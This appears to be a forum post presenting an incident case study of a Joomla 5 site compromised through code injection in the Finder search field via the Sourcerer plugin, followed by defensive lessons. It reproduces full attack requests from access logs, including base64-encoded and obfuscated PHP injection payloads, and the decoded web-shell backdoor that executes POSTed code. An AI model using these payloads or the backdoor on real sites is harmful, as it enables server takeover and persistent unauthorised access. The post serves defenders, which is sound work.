This post is a case study showing how a malicious attacker managed to compromise a Joomla website, even with multiple layers of security in place. The aim is to raise awareness and provide practical advice to strengthen your Joomla site’s defenses.
The Setup
- Joomla 5 (latest release).
- A frontend WAF (Web Application Firewall) configured with ModSecurity at Paranoia Level 2.
- Regular security updates applied.
The Attack Vector
The hacker began with reconnaissance, sending multiple attack patterns through the contact form, including various SQL injection and other payloads. This was part of their initial analysis phase to map the attack surface.
After gathering information, they targeted a vulnerability in the Finder Component (com_finder), which handles Joomla’s search functionality.
Code: Select all
"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 11 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
Code: Select all
GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents%28%22defines.php%22%2C+base64_decode%28%22KsTK9tTKnAXb09CctR3Josmbpxmb1ByOnAXb09CctR3JgUmcpVXclJHI7kyJ7ciLjRiLnACcoB3P8cCIscCctR3Lw1Gdngyc05WZ052bj9Fd1B3XlxWamByOllGZgozPgkyVBJ1XFZUQT5UVfJVRUxUSGBCLnM3bnACLUN1TQ9FVVBlTJhCd1Bnbp9lclRHbpZGI9AyYkAyepgCIu9Wa0Nmb1ZGKrNWYixGbhN2XyVGdzl2ZlJ3XyVGZhVGagAHaw9DP%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 403 100 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
Code: Select all
GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search= HTTP/1.1
Code: Select all
GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents(%22defines.php%22,+base64_decode(%22KsTK9t...%22))%3F%5D%5D%7B%2Fsource%7D&Search=
Although some of these requests returned 403 Forbidden, persistence paid off. Eventually, the attacker leveraged a successful injection:
Code: Select all
?q={source}[[<?php file_put_contents("defines.php", base64_decode("...")) ?>]]{/source}
Code: Select all
"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+%28%22fil%22.%22e_pu%22.%22t_con%22.%22tents%22%29%28%22defines.php%22%2C+%28%22bas%22.%22e64_encode%22%29%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3RtcC90bXAnLCAnPD9waHAgJy5maWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ29zJywgRklMVEVSX1VOU0FGRV9SQVcpLic7Jyk7IHJlcXVpcmUgJ3RtcC90bXAnOwo%3D%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 7599 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
Exploitation Through Sourcerer Plugin
The site used the Sourcerer plugin, which permits the execution of PHP code within content. If improperly configured or exposed in public-facing inputs (e.g., search forms), this plugin becomes a major attack vector.
The attacker used code injection via the plugin to write a temporary file (tmp/tmp) containing:
Code: Select all
<?php
file_put_contents('tmp/tmp', '<?php '.filter_input(INPUT_POST, 'os', FILTER_UNSAFE_RAW).';');
require 'tmp/tmp';
?>
At this time, the original website was KO (500 error)
And putting such a RFI remote backdoor (Remote File Inclusion) the website was definitly controlled by the hacker...

Advanced Targeting
The attacker also explored other parts of the site, including:
Admin Section:
Code: Select all
GET /administrator/ HTTP/1.1
Code: Select all
"GET /administrator/ HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
Code: Select all
GET /api HTTP/1.1
Code: Select all
"GET /api HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"
Impact
The modification of defines.php resulted in:
- Website downtime: The site became non-functional.
Backdoor installation: This allowed the hacker to gain persistent remote access to the server.
Lessons Learned
Even a “secure” site can be compromised if a holistic approach to security is not implemented. Here are my key takeaways:
- Remove unused components/plugins: Disable features like Finder, API, or any extensions you don’t actively use.
- Audit plugin configurations: Ensure plugins like Sourcerer are configured securely and restricted to trusted inputs.
- Enhance server security:
Implement stricter WAF rules.
Restrict file system permissions to prevent unauthorized writes.
- Backup frequently: Perform multiple daily backups, especially for priority content.
- Engage professionals: If you manage sensitive or high-value websites, consult cybersecurity experts for tailored protection. Yes, I know, it costs money.... depends on your needs and assets
This case highlights the importance of proactive and comprehensive security for Joomla sites. Attackers often combine reconnaissance, persistence, and multi-vector strategies to bypass even robust defenses. Ensuring a layered security approach is crucial to staying protected.
I hope this post helps you better understand the threats and encourages you to strengthen your Joomla security posture. Stay safe out there!